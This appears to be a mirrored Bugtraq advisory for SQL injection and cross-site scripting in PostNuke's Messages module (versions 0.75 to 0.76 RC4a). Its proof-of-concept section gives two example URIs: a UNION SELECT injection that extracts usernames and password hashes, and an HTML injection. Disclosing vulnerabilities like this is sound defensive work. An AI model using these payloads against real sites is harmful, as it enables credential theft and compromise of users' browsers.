PostNuke SQL Injection and Cross-Site Scripting Vulnerabilities

BID:13789

Info

PostNuke SQL Injection and Cross-Site Scripting Vulnerabilities

Bugtraq ID: 13789
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: May 27 2005 12:00AM
Updated: May 27 2005 12:00AM
Credit: Discovery is credited to sp3x <[email protected]>.
Vulnerable: PostNuke Development Team PostNuke 0.76 RC4a
PostNuke Development Team PostNuke 0.76 RC4
PostNuke Development Team PostNuke 0.75
Not Vulnerable:

Discussion

PostNuke SQL Injection and Cross-Site Scripting Vulnerabilities

PostNuke is prone to SQL injection and cross-site scripting vulnerabilities.

These issues affect the 'Messages' module and may allow an attacker to modify the logic of SQL queries and execute arbitrary HTML and script code in a user's browser leading to various attacks.

PostNuke 0.750 and subsequent versions are affected by these issues.

Exploit / POC

PostNuke SQL Injection and Cross-Site Scripting Vulnerabilities

No exploit is required, but proof of concept example URI have been provided.

http://www.example.com/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null%20FR
OM%20pn_users%20WHERE%20pn_uid=2/*&total_messages=1

http://www.example.com/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0'<h1>cXIb8O3 and sp3x - SecurityReason</h1>&total_messages=1

A valid total_messages value is required.

Solution / Fix

PostNuke SQL Injection and Cross-Site Scripting Vulnerabilities

Solution:
The vendor has released a fix to address these issues.


PostNuke Development Team PostNuke 0.75

PostNuke Development Team PostNuke 0.76 RC4

PostNuke Development Team PostNuke 0.76 RC4a

References

PostNuke SQL Injection and Cross-Site Scripting Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report